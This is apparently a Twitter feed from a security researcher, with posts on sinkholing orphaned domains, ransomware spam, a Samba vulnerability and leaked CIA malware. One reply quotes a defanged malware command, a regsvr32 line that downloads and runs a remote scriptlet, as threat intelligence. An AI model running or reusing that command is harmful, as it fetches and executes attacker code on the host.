João Gouveia

This is my personal account and my views are my own.

[Neil deGrasse Tyson @neiltyson]

His passing has left an intellectual vacuum in his wake. But it's not empty. Think of it as a kind of vacuum energy permeating the fabric of spacetime that defies measure. Stephen Hawking, RIP 1942-2018.

[João Gouveia @jgouv]

Breakdown of companies within industries exposed to potential compromise via orphan traffic. Not surprised to see Healthcare at the top.

[Stephen W. Boyer @swboyer]

A great honor to be named Cyber Service Vendor of the Year at the largest #cyberinsurance event of the year. https://t.co/JLtjuLTljt

[Lorenzo Franceschi-Bicchierai @lorenzofb]

Samsung left millions of smartphone users vulnerable to hackers because it forgot to renew a domain. https://t.co/tB5bEv3vPp

[Irena Damsky Lahav 🇮🇱🇮🇱🇮🇱 @DamskyIrena]

Heading to #Lisbon for #M3AAWG40. Come hear me talk on Tuesday about #WannaCry @m3aawg @threatstop

[João Gouveia @jgouv]

Dear @FIRSTdotOrg your protection is gone #FIRSTCON17

[João Gouveia @jgouv]

Just sinkholed Samsung's S Suggest platform, which was orphaned and could be grabbed by bad actors.. 7k sinkhole "checkins" per second.

[mandatory.bsky.social @IAmMandatory]

New blog post: The Journey to Hijacking a Country’s TLD – The Hidden Risks of Domain Extensions https://t.co/sgUuKQaI0s

[João Gouveia @jgouv]

This new Jaff #Ransomware PDF spam campaign is kinda brutal, over 1m hits on our spam traps in the last 4 hours or so.

[João Gouveia @jgouv]

Hey #malware hunters, does anyone recognise this traffic and domain pattern?

[João Gouveia @jgouv]

@verovaleros @anubisnetworks Posts have been migrated to the new blog, under https://t.co/T8LyPCtc0r

[João Gouveia @jgouv]

@GasGeverij @xme @benkow_ Related to https://t.co/EWtUyjenYq

[João Gouveia @jgouv]

@GossiTheDog This looks similar to Windows "Mirai" on MS-SQL, which usually does 'regsvr32 /u /s /i:hxxp://js[.]mys2016[.]info:280/v[.]sct scrobj[.]dll'

[João Gouveia @jgouv]

In case you missed, there's a simple #nmap script available for scanning and detecting CVE-2017-7494 https://t.co/A7rPoWJHmF

[CERT-Bund @certbund]

Metasploit exploit for Samba RCE vulnerability CVE-2017-7494 https://t.co/sSnyNgO1G7. Pls patch your Samba server and protect your NAS boxes

[João Gouveia @jgouv]

Sinkholing orphan traffic that is exposing organisations to several security risks is fun. This is our latest "customer".

[Bitsight @Bitsight]

Tom Turner, @BitSight President & COO, opened the Inaugural EMEA BitSight #SecurityRatings User Group today in London at @Barclays HQ

[Bitsight @Bitsight]

We'll be discussing how to simplify #VRM through continuous #riskmonitoring at #SIGSCon2017 today at 11:35 https://t.co/6ySp53L3wx

[Threatpost @threatpost]

.@Wikileaks reveals #AfterMidnight, #Assassin, two CIA #malware frameworks - https://t.co/JRqTcy6lNT